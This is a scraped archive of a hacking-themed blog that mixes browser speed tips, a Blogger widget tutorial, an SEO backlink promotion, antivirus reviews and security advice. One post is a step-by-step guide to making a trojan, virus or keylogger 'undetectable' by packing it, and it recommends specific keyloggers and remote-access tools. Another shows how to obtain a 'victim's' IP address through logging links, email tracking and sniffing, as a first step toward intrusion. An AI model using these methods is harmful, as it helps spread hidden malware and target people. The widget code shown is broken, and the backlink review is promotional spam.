1.Click Start
2. Click Control Panel
3. Double Click Internet Options
4. Click Settings under Browsing History

The task here is to make your web cache as small as possible. The less disk space your reserve for your temporary files is less data that your computer needs to search through. This action can easily award you a faster connection on the net.
5. Reduce the Disk Space to Use to the minimum recommended amount or as low as your desire.

STEP 2: CLEAR TEMP FILES

Deleting your web cache is a good way to speed up a slow internet connection. These files take up valuable resources that could be used to for a better net surfing experience. Remember that while you are online many files in the web cache are active. Cookies are loaded in your browsers and constantly update themselves. Also your computer will search through the temp files to match the latest version of a web page. So, by clearing the web cache you cut down on the work your PC needs to do thus speeding up your slow internet connection. Remember to shutdown the browser when deleting the cache. Because what files are open will not be deleted. Here how to delete your temporary internet files.Manual steps to erase your temporary internet files.

The goal here is to cut down on the files your computer needs to search through. Alternate methods can be used to clear the web cache and other unnecessary data. Check out Clean Up A Slow Computer for more tips.

STEP 3: SPEED UP WEB PAGES

One of the biggest culprit of slow internet connections. Is your web browser's settings. When you log on to a web page, your computer is assaulted with data it needs to organize and present in an orderly manner. This information takes time to load. So, the more information the longer it takes to load. However you tweak a number of settings to decrease the time it takes to load a web page. By reducing the amount of animation and scripts. You can see drastic increases in your internet surfing.
1.Click Start
2. Click Control Panel
3. Double Click Internet Options
4. Click Settings
5. Scroll down to Multimedia.
6. You can reduce the options in order to increase speed at which web pages are loaded.

By restricting your browser to display only text is the fastest option.STEP 4: CONTROL YOUR ANTIVIRUS

A slow internet connection is often a software related problem and not the fault of your ISP. Buying more bandwidth is always going to help. Slow down is a normal result of having security software like an anitvirus on your computer. The software must constantly update it files and signatures. All this information is logged in your computer. The majority of the information is placed in your registry.
When your antivirus performs a scan. It produces a log. This log can be up to 100 megabytes of information each. The registry holds all this info. The addition of the info is not the major problem. Its that the information is placed in many places in your registry. This causes fragmentation of files. Your computer's operating system must search through the massive files in the registry constantly. If the registry is error-filled, fragmented, or bloated with unnecessary and duplicate files, you will have major slowdown. Organize and keep it maintained, the problem will most likely be solved. You can scan to see the condition of your registry and see what resources you can unlock resources.Click Here to SCAN your registry
Also you should try to see what processes are loaded when your computer starts. Often the antivirus will check your email, scan, and even update at the same time. This may be occurring everytime you start up your PC. These acts can last as long as 3 hours. They may be running silently in the background without your knowledge. Maintain them by following the directions below or by tweaking the settings in your antivirus:
1. Open your Start menu.
2. Click Run
3. In the command screen type msconfig.exe
4. In the system configuration utility, click either service or startup
tab 5. Uncheck all programs that you dont want to load win the antivirus is starting
6. Click OK

TIPS FOR FIREFOX BROWSER

The browser is configured to load one web page or "request" a time. You can alter these settings to increase the amount of information that can flow into Firefox's pipeline.

1.Type “about:config” into the address bar and hit return. Scroll down and look for the following entries:
network.http.pipelining network.http.proxy.pipelining network.http.pipelining.maxrequests

2. Alter the entries as follows:
Set “network.http.pipelining” to “true”
Set “network.http.proxy.pipelining” to “true”
Set “network.http.pipelining.maxrequests” to some number like 30. This means it will make 30 requests at once.
3. Finally, right-click the black space and select "New" and choose Integer. Name it “nglayout.initialpaint.delay” and set its value to “0″. This value is the amount of time the browser waits before it acts on information it receives.

How to make all Trojan/Virus/Keylogger UNDETECTABLE

2011-11-18T23:08:00.001-08:00

This tutorial tells you how to make a Trojan, Virus, Keylogger, or anything that would be found harmful, NOT. This tutorial explains how to make all files look %100 clean (become clean and be %100 UNDETECTABLE from ALL ANTIVIRUSES!!!!! ALL!!!!!)Ready? GO!

First, get your trojan, virus or keylogger, or server or w/e you plan on using to become undetectable, and get it ready. Fix it up, create it, whatever.

My personal favorite
keylogger: Ardamax Keylogger
Remote Administration Tool (Must not have a router): Poisin Ivy
Google is your friend.

Now that you have your trojan, virus or keylogger or w/e harmful ready, its time to make it UNDETECED!

1. Download Software Passport (Armadillo) by Silicon Realms. This is THE best binder out there I know of, it makes everything %100 UNDETECTABLE BY ALL ANTIVIRUSES (including Norton, Kaspersky, Avast, etc)… The direct link to dl the program is here:
Code:
http://nct.digitalriver.com/fulfill/0161.001

There is a form to fill out information, so put in your real email address, and then you’ll recieve a download link in your email (it might be in Spam, Junk mail section so beware.)

2. Once you download the program, install it.
3. Once installed, you open it up and see this:
Code:
http://img339.imageshack.us/img339/6…assportzh3.jpg

This is the program. Now that you have it open, you might be confused on what the hell to do, right? Well, this is what you do!

1. Download this pre-made settings. These settings are pre-made by me so you won’t be confused. Everything is working.

DOWNLOAD THIS FOR THE PRE-MADE SETTINGS:
Code:
http://rapidshare.com/files/8749860/projects.arm.html

DOWNLOAD THIS FOR THE BACKUP (You need this in the same location as the projects.arm file) YOU NEED THIS FILE ALSO!
Code:
http://rapidshare.com/files/8750048/projects.Stats.html

Now, when you download these files, and you put them in the SAME FOLDER (or same location), open Software Passport again and click Load Existing Project (top left).

Where it says “Files to Protect” (if theres stuff there, delete it):
Add the files you want to make %100 UNDETECTABLE!!

Now, once done, go to the bottom right and click “Build Project”. A bunch of windows will come up, just click Yes and OK.

Now, once its created, they are %100 undetectable. Go to
Code:
virustotal.com
to scan it with every Antivirus, and they wont find ANYTHING!

THIS IS THE EASIEST WAY TO HIDE YOUR VIRUS/KEYLOGGER OR WATEVER

Adding An Entry Or A Welcome Page

2011-11-09T19:15:00.000-08:00

Whenever I visit an interesting blog that is new to me, I always look for an About page. Unfortunately, too many newer food blogs lack this critical feature.

A well written and organized About page is like a one-page resume for your blog. It acts as a welcome mat that leads them comfortably into the rest of your site. New visitors to your site may click through to it to find out more about you and your blog -- if they like what they see there, they are more likely to come back again. I believe that the more a person is a regular reader of blogs, the more likely they are to click through to an About page. Potential advertisers or clients will most likely look for an About page too.

Here is a tutorial for creating an entry or welcome “page” for your blog. I think it can also be called a splash page or a landing page, hmm….whatever.

It is different from the usual welcome message found in most Blogger blogs whereby the message is placed on top of the blog post column, and stays up there the entire time.

This welcome page acts like an entry page. It only appears at the beginning of a visit and disappears when the visitor “enters” the blog. Definitely better than an alert box, looks nicer and comes without the annoying sound.

The page comes with these features:

Lightbox-type message window.

This entry page is fully widgetized, so it can be removed by simply removing the two gadgets, no need to deal with your template HTML.

Visitor need to click ENTER button to continue viewing your blog. This in a way, will make sure your visitor to read your important welcome message before entering your blog.

Only external visitors will go through the welcome page. Readers coming from any one of your blog pages will bypass this page.

See the entry page in action here in my blog.

Adding HTML/Javascript and text gadgets

We won’t add the widgets in Page Elements. We will add it by adding a code to your template HTML. This way we can give the widget our own Id. We will add two widgets, one is a Text gadget to hold the welcome message, the other one is a HTML/Javascript gadget to hold the codes that will transform the Text gadget into a welcome page.

Now let’s do this:

Back up your template.

At Dashboard go to Design > Edit HTML.

Make sure the Expand Widget Templates check box on top right of the HTML window is unticked.

Find this code in your template HTML:

<body> -if you are using Layout templates, or
<body expr:class='"loading" + data:blog.mobileClass'> -if you are using Template Designer’s template.

Copy the code below and paste it immediately after the code in step 5:

1<!-- Welcome page Start -->

2<div id='welcome-wrapper'>

3<b:section class='welcome' id='welcome'showaddelement='no'>

4<b:widget id='Text88' locked='false' title='' type='Text'/>

5<b:widget id='HTML88' locked='false' title='' type='HTML'/>

6</b:section>

7</div>

8<!-- Welcome page End -->

Adding contents to the gadgets

Go to Design > Page Elements. You should see the newly added widgets above the header.

Click Edit on the Text gadget and enter your welcome message or greeting. Remember this entry page adds an extra step before your readers could reach your blog content. So make it short and worth their wile reading it.

Then proceed with the HTML/Javascript gadget (HTML88). Add the code below in the content box:

01<!-- Welcome page Start (c) 2010 THE HACKERS CLAN Original code by http://thehackersclan.blogspot.com/. Please do not remove this credit and the “Get this widget” link at the bottom of the widget. -->

02<!-- HTML part -->

05</div>

06<div id="EPGrab"><ahref="http://thehackersclan.blogspot.com/2011/11/adding-entry-or-welcome-page.html" target="_blank">Get this widget</a></div>

07<div id="EPDarkLayer"></div>

08<!-- CSS part -->

19#EPGrab {color:white;padding-top:10px;}

20</style>

21<!--[if IE 6]>

22<style>

23#EPDarkLayer {position:absolute;}

24</style>

25<![endif]-->

26<!-- Javascript part -->

27<script type="text/javascript">

42getHTML88.display="none"; //hide HTML gadget

43getText88.display="none"; //hide message

44}

45</script>

46<!-- Welcome page End -->

Configuring the welcome page

Reminder: When editing code in a HTML/Javascript gadget, never click the Rich Text link. Doing so will add forced line breaks <br/> in your code, thus ruining it.

YourBlogUrl –this is your blog url, replace http://thehackersclan.blogspot.com/ (in code line 28) with your own blog url.
Below are some CSS properties you can change to suit your preferences.

Message window width can be changed in code line 10.
The message window can be adjusted vertically by changing topvalue in code line 12.
To adjust the background transparency or color, go to code line 16. For transparency you need to change both values -opacity (scale from 0 to 1), filter:alpha(opacity) (scale from 0 to 100).

FREE BACKLINKS- FREE TRAFFIC SYSTEM

2011-11-08T22:07:00.001-08:00

Free Traffic System Review

I have been using free traffic system for just over 6 months now and it has helped many of my sites climb higher in the search engines.

Free traffic system is a content distribution service but unlike all other related services I know of they offer a completely free version.

With the free version you can submit as many articles as you like; each of them gets distributed to 30 blogs and each can contain two anchor text backlinks. Meaning you can get 60 backlinks per article.

So if you submit 12 articles you will be building 12 x 60 = 720 links. I’m sure you agree 720 links will make a big difference to your rank in the search engines.

“Free Traffic System – The Full Review”

Here is the information you MUST have before purchasing this system.

Note: This is a review, Click Here to Visit The Free Traffic System Website.

Article marketing has found a new outlet through Free Traffic System, a nearly perfect program that guarantees success.

You likely know the benefits of using Free Traffic System for your article marketing already – search engines like Google look for original, unique content to find and catalog, recording the backlinks to various websites, which in turn make them more highly ranked.

Since article marketing can create these backlinks that promote your website in search engines, people are using this method to get their websites more highly ranked, which can lead to more traffic and more business.

However, there are downsides to using article marketing, some of which are outlined below.

Your backlinks can be taken out of the article as it’s republished.

This can happen a lot. The article that you submit to article directories ceased to become yours, and anyone can get their hands on it. There are all kinds of automated programs that can search article directories for content, taking those articles and republishing them for their own purposes.

However, far too many people republish them without the backlinks that lead back to your website, making them useless for you. If they don’t do that, they’ll just take a paragraph or two of your content, backlinking it to the article directory from which it was taken. The article directory benefits from this instead of you!

Free Traffic System, on the other hand, ensures that the backlinks on your own content will stay there. The Free Traffic System, after all automatically cuts off access to article directories that steal your own links to do as they will with them, depriving them of our services.

Click Here to Visit The Free Traffic System Website.

Issues with duplicate content

One problem with republishing the same articles in Google is that they’ll realize that the content is exactly the same, determining that this duplicate content makes up a large number of the backlinks to your site. While there’s nothing inherent wrong with that, but your SEO value will go down dramatically in the eyes of Google, especially if you use duplicate content, which should be avoided.

Free Traffic System, however, allows you to make your articles unique enough to pass inspection, no matter how many blogs that the article is republished in, enabling you to generate backlinks. The setup is easy – you just have to spend a few more minutes on each article and you can have hundreds of unique articles that will be considered original content.

It’s entirely up to you what you want to do, but those additional 5 minutes used to utilize Free Traffic System’s plethora of diversification tools will enable you to show all kinds of unique content to Google. Your backlinks will become much more valuable as a result.

As we explain the viral aspects of this particular system, you might want to know just how important backlinks are to your content. Backlinks are often integrated into blog posts themselves, instead of the blogroll or the footer, becoming a vital part of the content. One way links can’t be built any safer way, because they’re provided in the form of unique, original content that provides information to those who read it, which is interpreted by Google and other search engines to be valuable, and is recorded as a result.

Backlinks are often provided by sites related to the thing you’re searching for. Free backlinks can be gleaned through this method. A single article submitted to Free Traffic System will yield almost 60 articles that are unique and ready for posting! As opposed to typical article marketing, your backlinks will be safe from deletion, just like when they’re submitted to article directories.

Free Traffic System’s viral portion is easy to understand, as the free project offers incentives for people to be brought in. When you refer someone to Free Traffic System, you can another backlink every time your referral posts three times. Affiliates who were referred by you supply you with an extra backlink for every three posts that they provide to the system, giving you added incentive to bring in new people.

There’s one more advantage to viral strategies like these. You can experience a 7% increase in the extra backlinks that you get through Free Traffic System, provided you contribute a WordPress blog.

Here’s what comes with Free Traffic System:

Self-constructed backlinks that come without charge
Affiliate referral backlinks as potential rewards
Free Traffic System WordPress blog backlink bonuses if you contribute
You can get quality, targeted traffic due to search engine results before you know it using this system.

Click Here to Go to The Official Free Traffic System Website.

What I’m trying to say is don’t listen to the negative reviews of free traffic system, as these reviews are often promoting other similar but paid for products. I don’t know about you but that makes me question the integrity of the review and the person giving it.

Plus free traffic system is just that free, so why not give it a go for yourself see if it works for you if it doesn’t then look at other paid for options.

Freeware Utilities

2011-11-07T21:44:00.000-08:00

Freeware (from "free" and "software") is computer software that is available for use at no cost or for an optional fee, but usually with one or more restricted usage rights. Freeware is in contrast to commercial software, which is typically sold for profit, but might be distributed for a business or commercial purpose in the aim to expand the marketshare of a "premium" product. Freeware is a loosely defined category. The term "freeware" is commonly used for closed source or proprietary software, but since the term is related to price (and not issues like license terms, availability of the source code or copyright status) it can also be applied to free software/open-source software. Popular examples of freeware include Firefox, Google Chrome, 7-Zip and Adobe Flash Player.

There are two equal recommendations in this category. First there is AVG Antivirus 7 Free Edition. This product [1] has been continuously refined since it was first released in 1991 and the recently released V7.5 makes further improvements to an already solid product. Additionally, it's relatively small, light on resources, has regular automatic updates and handles email scanning. There is a free and a pro version, the only difference being that the free version has a few non-critical features disabled and has no direct technical support. Equally effective is the free Avast! scanner [2] though its funky media player style interface is not to everyone's taste. Avast! also required periodic re-registration while AVG does not. However Avast! does not seem to suffer the signature file update problems that plague some AVG users. A possible third choice is the AOL Anti Virus Shield [3]. This is a cut down version of the top rated Kaspersky AV and is being made available for free to all uses not just AOL members. On first sight it seems like an unbeatable deal but it's not quite what it seems. First this really is a "lite" version. It lacks the important html and heuristics modules present in the full Kaspersky product so the protection afforded against hostile web sites is actually inferior to AVG and Avast!. Gone, too, is the ability to create rescue disks and to fully manage the quarantine area. The configuration options are also more limited. Secondly the End User License Agreement is worrying.
AOL basically reserves the right to spam you. I'm not aware of this actually happening but you need to be aware they have the right to do so. By default AOL AVS installs the AOL search bar in Internet Explorer as part of the AVS install. If you don't want it, make sure you opt out during installation. So on balance I'm cautious about recommending AOL AVS. If you can however, live with the limitations then you'll be rewarded with a first class scanner. Both AVG and Avast! are excellent free products that will meet the needs of most users. However neither can be considered to be the best available. That title belongs to commercial products like NOD32, F-Secure, the full version of Kaspersky AV and others. They are however capable packages and offers the financially challenged a real alternative to the major anti-virus suites. However if you use these free products in conjunction with a free on-demand scanner, you can achieve a level of detection approaching that of the best commercial products. Further improvement is possible by creating a layered defense using additional free security products such as AVG Anti-Spyware (formerly Ewido). On-demand scans should be run regularly, at least weekly, to check for viruses and other malware that may have been missed by your main scanner. If you don't use AOL AVS as your main AV product then this should be your the top choice as an on-demand scanner as its detection is outstanding. You should though, disable the AOL AVS real time monitor otherwise you may run into conflicts with the monitor on your primary AV product. Another top recommendation for an on-demand scanner is AntiVir Personal Edition Classic [4]. It offers significantly better detection rates than either AVG or Avast! but the lack of email scanning precludes recommendation as a primary scanner. However as an on-demand scanner, it's first rate. If you use it in this role, make sure you disable its resident virus guard during installation to prevent it interfering with your main AV scanner.Even so , it's quite an intrusive product -you will certainly be well aware of its presence. Note that the recently released V7 unfortunately introduces a time limited license though apparently this will be renewable. Yet another good option for on-demand scanning is the free version of the commercial AV product BitDefender [5]. It's a first class product with outstanding detection rates but as the free version lacks an email scanner and a resident virus guard, it's only really suited for use as an on-demand scanner rather than your main AV product. There are some other limitations as well. First it has an annoying habit of detecting malware products that have been quarantined by other security products and you can't exclude these areas from subsequent scans. Secondly, it is only available on a one year non-renewable license.

THC

Proxy ?? its all here

2011-11-07T21:37:00.000-08:00

The powerfull proxies by THC click on this

The Internet did not evolve with privacy in mind. In fact, the protocols that provide the fundamental underpinnings of the Internet are inherently non-anonymous. It's just a simple matter of computers needing to know each other's addresses in order to exchange data. For instance, any webserver can detect your Internet Protocol (IP) address. Other characteristics that a server can detect about you are your referrer (the site from which you are linking), the user-agent (the program you are using to browse the Web), and your operating system.

What does your IP address reveal about you?

Your IP address reveals your point of entry to the Internet and can be used to trace your communications back to your ISP, your employer's network, your school, a public terminal. Though your IP address may not identify you personally, an IP is a unique identifier which represents your computer's digital ID while you are online.

It is possible to disguise your IP address on the Web by using an anonymous proxy server. A proxy acts as an intermediary, routing communications between your computer and the Internet. A proxy specializing in anonymous surfing, however, uses its own IP address in place of yours in every outgoing request.

Approaches to proxy

Proxies are commonly used for several reasons: security, load balancing, data caching in order to reduce bandwidth demands, and censorship or filtering. Filtering proxies insulate you from objectionable elements of Webpages such as cookies, ad banners, dynamic content like Javascript, Java Applets and ActiveX controls. Some anonymous proxies encrypt your Web communications, protecting you from routine monitoring or even dedicated surveillance. Be careful, though, not all proxies are anonymous! Here is an overview of the basic approaches to proxy:

Web-based Proxies: Web-based Proxies are powered by server-side softwares such as CGIProxy, PHProxy, Glype, and custom proxy scripts. These proxies work entirely through a Web browser. Usually all that is needed to hide your IP address and surf anonymously is to visit the service's homepage in a Web browser and enter a URL (website address) in the form provided. There is no requirement to download or install software or reconfigure your computer. To work, a CGI based proxy must manipulate the document you've requested and all its associated elements and objects. This can be tricky, and not all proxies are as efficient or effective as others. Some services are slow and may produce errors while rendering the many variations of Web page code. But they are popular, numerous, and easy to use. See this page for a complete list of Web proxies.

Heres d Complete list !!

Anonymizers and Remailers !! What n How

2011-11-07T21:30:00.000-08:00

Anonymizers are online services that eliminate the trail of information that you leave behind, whilst surfing, so that your online activities cannot be traced back to you. The anonymizers vary in sophistication depending on the level of security and number of features that you require. Some anonymizers require the use of client software and others only require that you log onto their website before browsing other sites*.

How do Anonymizers work?

You essentially surf the Web through the anonymizer site, going to that site first and then routing all your pages from there. When you send a page request through the anonymizer, it acts like a super-proxy server, stripping off the header of each data packet, thus making your request anonymous. The requested page is then fed through the anonymizer back to your Web browser**.

In order to avoid being tracked, one can use an anonymous proxy to surf the web. An anonymous proxy makes sure your IP address does not get stored on the web server logs. Web servers log every ?GET? request made, together with date, hour, and IP. But if you are accessing the Internet through a proxy server, then the IP of the proxy is logged and not yours.
In case you do not go through an anonymous proxy, then you are actually risking vital information that belongs to you. For example, a hacker can easily find out your IP Address, your web browser, your Operating System and even the previous URL that you have visited. You can also be easily located geographically (provided one has the necessary software tools) because people can find out a whole lot of things that give your location. Like your hostname, your continent, your country, your city and even your Internet Service Provider.
Consider the scenario where a hacker gets access to your computer, he can find out your name, email address, telephone number, various user ID's and passwords, details about software you use and your preferences, locations of files and folders, the search strings that you used and literally hundreds of other personal things. All this information is stored in files like SYSTEM.ini, USER.dat, SYSTEM.dat etc. One very important file is the nsform??.TMP which stores all the data inside every Netscape form you've ever submitted, with and without SSL, when the submission failed or was cancelled.

What are Re-mailers?

Anonymous Re-mailers are services used to send e-mail messages, so that the recipient of the e-mail cannot determine the identity of the sender. Re-mailers strip off header information leading to the identity of the sender and often route a message through a chain of re-mailers before reaching the recipient. Many re-mailers also include some sort of message based encryption. Re-mailers are commonly used to protect the anonymity if the sender from the recipient, to prevent eavesdropping by a third party, or to post anonymously to newsgroups*.

How do Re-mailers Work?

An anonymous re-mailer is simply a computer connected to the Internet that forwards electronic mail or files to other addresses on the network. It also strips off the "header" part of the messages, which shows where they came from and who sent them. All the receiver can tell about a message's origin is that it passed through the re-mailer. Some re-mailers also allocate each sender an "anonymous ID", rather like a PO Box number, which it stores with the sender's address so that any replies reach them.***

All re-mailers are fairly effective at what they do and some even take an extra step and add encryption to all outgoing messages. In order to view header information sent via email messages in Outlook Express, select a message in your inbox, then select File | Properties | Details.
To view header information in m*c*s*t Outlook, right-click a message in your inbox and select Options; the header information is displayed in the Internet Headers area of the Message Options dialog box.

Anonymous re-mailers were invented by security experts interested to know whether it was possible to send a message on the Internet which could not be traced back to its source. As soon as the first ones were built, though, people found a more pragmatic use for them: to send messages to bulletin boards about subjects so sensitive that they did not want their names known.

How To Get The IP Address Of Any Computer | Get The IP Address Of Vicitim | Top Practical Ethical Hacking Tutorials |

2011-11-05T07:49:00.000-07:00

Hello friends, today i will explain you how to get IP address of any computer remotely.
BEFORE THAT LET US SEE WHAT IS AN IP ADDRESS.

An Internet Protocol address (IP address) is a numerical label assigned to each device (e.g., computer, printer) participating in a computer network that uses the Internet Protocol for communication. An IP address serves two principal functions: host or network interfaceidentification and location addressing. Its role has been characterized as follows: "A name indicates what we seek. An address indicates where it is. A route indicates how to get there.

The designers of the Internet Protocol defined an IP address as a 32-bit number and this system, known as Internet Protocol Version 4(IPv4), is still in use today. However, due to the enormous growth of the Internet and the predicted depletion of available addresses, a new addressing system (IPv6), using 128 bits for the address, was developed in 1995,standardized as RFC 2460 in 1998, and is being deployed worldwide since the mid-2000s.

IP addresses are binary numbers, but they are usually stored in text files and displayed in human-readable notations, such as 172.16.254.1 (for IPv4), and 2001:db8:0:1234:0:567:8:1 (for IPv6).

The Internet Assigned Numbers Authority (IANA) manages the IP address space allocations globally and delegates five regional Internet registries (RIRs) to allocate IP address blocks to local Internet registries (Internet service providers) and other entities.

Using some very basic tricks we can find the IP address of any remote computer and then you can start your further hacking into the remote system like port scanning and finding vulnerabilities to enter in to the system and hack it. There are several methods to get an IP address of the victim but i will share few and specially the best one’s that can tell you IP address in just few clicks and also all are free methods and special thing is about it is all are manual methods that means you did not require any tool.

4 ways to get the IP address of the Victim or another Computer:

1. Using PHP notification Script

2. Using Blogs and Websites

3. Using Read Notify service

4. Sniffing during Gmail and Yahoo chat sessions

As we are here to learn concepts so i will first explain what is an IP address and what’s its importance. So friends very basic question What is an IP address? Why its important for hackers and

security professionals?

What is an IP address?

Basically IP address (Internet Protocol address) is a unique numerical value that is assigned to any computer or printer on a computer network that uses an internet protocol for communicationpurpose. Protocol is basically rules( for Network its rules for communication).

IP address serves for two basic purposes:

1. Host or network interface identification

2. Location Addressing

For exploring more about IP addressing read on wikipedia.

How to Find IP address of another computer?

1. Using PHP notification Script

Using this Notification script you can get the IP address in just seconds. Steps of using this PHP script:

a. Download the PHP notify script and extract files.

Download From Here :- link here

b. Now you will get two files IP.html and index.php . You need to upload these two files to any free web hosting server.

Example: i used www.my3gb.com to upload these two files. Create an account there and upload these two files there as shown below.

c. Now you will need to send the link of index.php to the victim whose password you want to get. to get the link click on index.php shown in above snapshot. Now a new window will open copy the link in the address bar and send to the victim whose IP address you want.

d. Now when the victim opens the above link nothing will open but his Ip address is written into the ip.html file. So open the ip.html file to get his IP address.

e. That’s all this method… I hope you liked it.

2. Using Blogs and Websites

This method is for those who have their blogs or websites. Normal users can also do this as blog is free to make. Make a new blog and use any stats service like histats or any other stats widget. Just add a new widget and put histats code there and save template. And send the link of your blog to your friend and get his IP.

That’s only.

3. Using Read Notify service

This is an email based service. Steps to use Read Notify service:

a. First open the Read Notify website : RCPT

b. Now register on this website and then it will send you confirmation mail. Verify your account.

c. Once your account is activated.

Do the following steps use this service:

Compose your email just like you usually would in your own email or web email program
Type: .readnotify.com on the end of your recipients email address (don’t worry, that gets removed before your recipients receive the email). Like this:hackersfind@gmail.com.readnotify.com
Send your email

Some things to remember:

don’t send to and from the same computer
if your email program ‘auto-completes’ email addresses from your address book, you’ll need to keep typing over the top of the auto-completed one to add the .readnotify.com
if you are cc-ing your email to other readers, you must add tracking to all of them

4. Sniffing Yahoo and Gmail Chat sessions

With the help of Sniffers like ethereal, wireshark etc we can sniff the Gmail, and yahoo chat sessions while we are chatiing to any our friend and extract the IP address from there. I will explain this trick in detail in my next article as its a long article in itself.

5. Bonus Method for Online Gamers

We can also get the IP address from online games like counter strike, age of empires in Game ranger etc.. Many counter strike servers use amx mode. Just view which people are connecting and whats their IP addess as plugins show the IP address of people connecting to the game server. If you have more access to counter strike server you can use status command in console. Just go to console and type “status”(without quotes) and press enter there you can see all players details his steam ID and much more depending upon server.

Now you have IP address but what you can do with an IP address. Ahhaah everything, that i will explain in my next article.

I hope you all like this article. If you have any queries or concerns just ask me in form of comments. Thanks for reading…

How To Create Strong Passwords That You Can Remember Easily

2011-09-25T20:29:00.000-07:00

Creating strong passwords for all your online accounts is not a thing you should do. It is a thing you must do. Two months ago, my Google account was hacked into. The hackers changed my password and blocked my access to the account. Luckily, I discovered this early and got Google to change my password via my secondary email account.

Last week, the THE HACKERS CLAN Google account was also hacked into and the hacker had the audacity to transfer the domain THE HACKERS CLAN out and blackmail the owner. In case you are still thinking that your password is strong and safe, maybe it’s time to wake up.

What makes a strong password?

I shall not elaborate on this since many sites have already discussed this in great detail. In a nutshell, a strong password must constitute the following:

It needs to contain special characters such as @#$%^&
It must be at least 8 characters long.
It must not have any common words such as 123, password, your birth date, your login name and any words that can be found in the dictionary.
a variation of capitalization and small letters

In my opinion, even if your password consists of the above, it is still not enough. Your password needs to be totally unique and different for each and every one of your online accounts. This is to make sure that in the event that one account is hacked into, your other accounts will not be affected.

You must be wondering how you are going to remember so many passwords when you have a problem remembering your existing one. Here are some steps that I have used and they are very powerful. Here it is:

1. First, think of a thing, date, phrase, event, place or anything that is unique only to you. It must be at least 8 characters long. I call this the salt term. For demonstration purposes, I will use my name Damien Oh as the salt term throughout this article. Note that the capital letters and the space in between the name are part of the salt term. For your own account, please select a salt term that is difficult for other to guess.

2. I used the following rules to replace the regular characters with special characters. You can form your own rule.

Replace all the ‘a’ with @

Replace all the ‘s’ with $

Repalce any space with %

Replace any ‘o’ with 0

Replace any ‘i’ with !

In this case, the simple term Damien Oh becomes D@m!en%Oh.

3. Now go to Password Meter and test the strength of your salt term. This is the result of the above term. If your salt term is not strong enough, you will see a list of items that you can improve on.

4. Once you are happy with your salt term and are sure that only you can decipher it, go to any of your online accounts now. To set a password for that account, append the name of the site, or the URL of the site to the end of your salt term.

Instead of the site name or the URL, you can also a variation of the site names or any other names that are related to the site.

Is that enough?

That is only the beginning. To really make it secure and hard for others to guess, you will need to change your password every few months. Some of you may find it a chore to come up with new passwords every month. Here is what you can do:

Instead of appending the site name to the end, you can now append it to the front, in the middle or even split the site name out into few parts. For example:

You can also change the replacement characters such as @ for ~ and whatsoever. You can also do a complete changeover of your salt term to come up with a totally different password.

Conclusion

Generating and using a strong password is only your first line of defense against hackers. The most important thing that you should take note of is your internet browsing habits. When you are using a public terminal, make sure that it has the proper firewall and anti-virus installed, make sure your network is secure, log out when you are done with your session and clear the cache once you are done.

The 25 Most Common Mistakes in Email Security

2011-09-25T20:16:00.000-07:00

Countless computer crashes and thousands of spam emails later, I had learned the lesson that just opening spam email can bring harm to my computer. Unfortunately there are a whole host of traps and errors that catch new email users just because "they didn't know any better".

In this article we focus on 25 of the most common and easy to fix mistakes that people make when it comes to email security. We've designed this article with the new internet user in mind, so if you're an email expert, you may want to pass this along to your novice friends.

PROPERLY MANAGING YOUR EMAIL ACCOUNTS

1. Using just one email account.

Individuals new to email often think about their email account like they do their home address, you only have one home address, so you should only have one email. Instead, you should think about your email address like you do your keys; while it may be OK to use the same key for your front and your back door, having a single key open everything is both impractical and unsafe.

A good rule of thumb for the average email user is to keep a minimum of three email accounts. Your work account should be used exclusively for work-related conversations. Your second email account should be used for personal conversations and contacts, and your third email account should be used as a general catch-all for all hazardous behavior. That means that you should always sign up for newsletters and contests only through your third email account. Similarly, if you have to post your email account online, such as for your personal blog, you should only use your third email account (and post a web friendly form of it at that).

While your first and second email accounts can be paid or freebie, your third 'catch-all' account should always be a freebie account such as those offered by Gmail or Yahoo!. You should plan on having to dump and change out this account every six months, as the catch-all account will eventually become spammed when a newsletter manager decides to sell your name or a spammer steals your email address off a Web site.

2. Holding onto spammed-out accounts too long.

It is simply a fact of life that email accounts will accumulate spam over time. This is especially true of the account you use to sign up for newsletters and that you post online (which as stated above should not be your main email account). When this happens, it is best to simply dump the email account and start afresh. Unfortunately, however, many new email users get very attached to their email accounts and instead just wade through dozens of pieces of spam every day. To avoid the problem, prepare yourself mentally ahead of time for the idea that you will have to dump your 'catch all' account every six months.

3. Not closing the browser after logging out.

When you are checking your email at a library or cybercafé you not only need to log out of your email when you are done, but you also need to make sure to close the browser window completely. Some email services display your username (but not your password) even after you have logged out. While the service does this for your convenience, it compromises your email security.

4. Forgetting to delete browser cache, history and passwords.

After using a public terminal, it is important that you remember to delete the browser cache, history, and passwords. Most browsers automatically keep track of all the web pages that you have visited, and some keep track of any passwords and personal information that you enter in order to help you fill out similar forms in the future.

If this information falls into the wrong hands, it can lead to identity theft and stolen bank and email information. Because the stakes are so high, it is important that new internet users be aware of how to clear a public computers browser cache so that they can delete private information before lurking hackers can get a hold of it.

For those of you using Mozilla's Firefox, simply press Ctrl+Shift+Del. Operausers need go to Tools>>Delete Private Data. And users of Microsoft'sInternet Explorer need to go to Tools>>Internet Options then click the 'Clear History', 'Delete Cookies', and 'Delete Files' buttons.

5. Using unsecure email accounts to send and receive sensitive corporate information.

Large corporations invest huge amounts of money to ensure that their computer networks and email remain secure. Despite their efforts, careless employees using personal email accounts to conduct company business and pass along sensitive data can undermine the security measures in place. So make sure that you don't risk your company's security, and your job, by transmitting sensitive company data via your own personal computer or email address.

6. Forgetting the telephone option

One of the most important lessons about email security is that no matter how many steps you take to secure your email, it will never be foolproof. This is never truer than when using a public computer. So unless you need a written record of something or are communicating across the globe, consider whether a simple phone call rather than an email is a better option. While a phone conversation may require a few extra minutes, when compared with accessing email through a public computer, a phone call is a far more secure option and it does not leave a paper trail.

EMAILING THE RIGHT PEOPLE

7. Not using the Blind Carbon Copy (BCC) option.

When you put a person's email addresses in the BCC: rather than the CC: window, none of the recipients can see the addresses of the other email recipients.

New email users often rely too much on the TO: because it is the default way of sending emails. That is fine as long as you are writing to just one person or a few family members. But if you are sending mail out to a diverse group of people, confusing BCC: and CC: raises some serious privacy and security concerns. It takes just one spammer to get a hold of the email and immediately everyone on your email list gets spammed.

Even if the honesty of the group isn't in question, many email programs are setup to automatically add to the address books any incoming email addresses. That means that some people in the group will inadvertently have added the entire list to their address book, and as a result, if one of their computers is infected with "Zombie" malware and silently sends out spam emails, you will have just caused the entire list to get spammed.

8. Being trigger happy with the "Reply All" button.

Sometimes the mistake isn't in deciding between CC: and BCC: but between hitting Reply All instead of Reply. When you hit Reply All, your email message is sent to everyone included on the original email, and if you didn't intend to include them, the information can be disastrous from both a security and personal humiliation perspective:
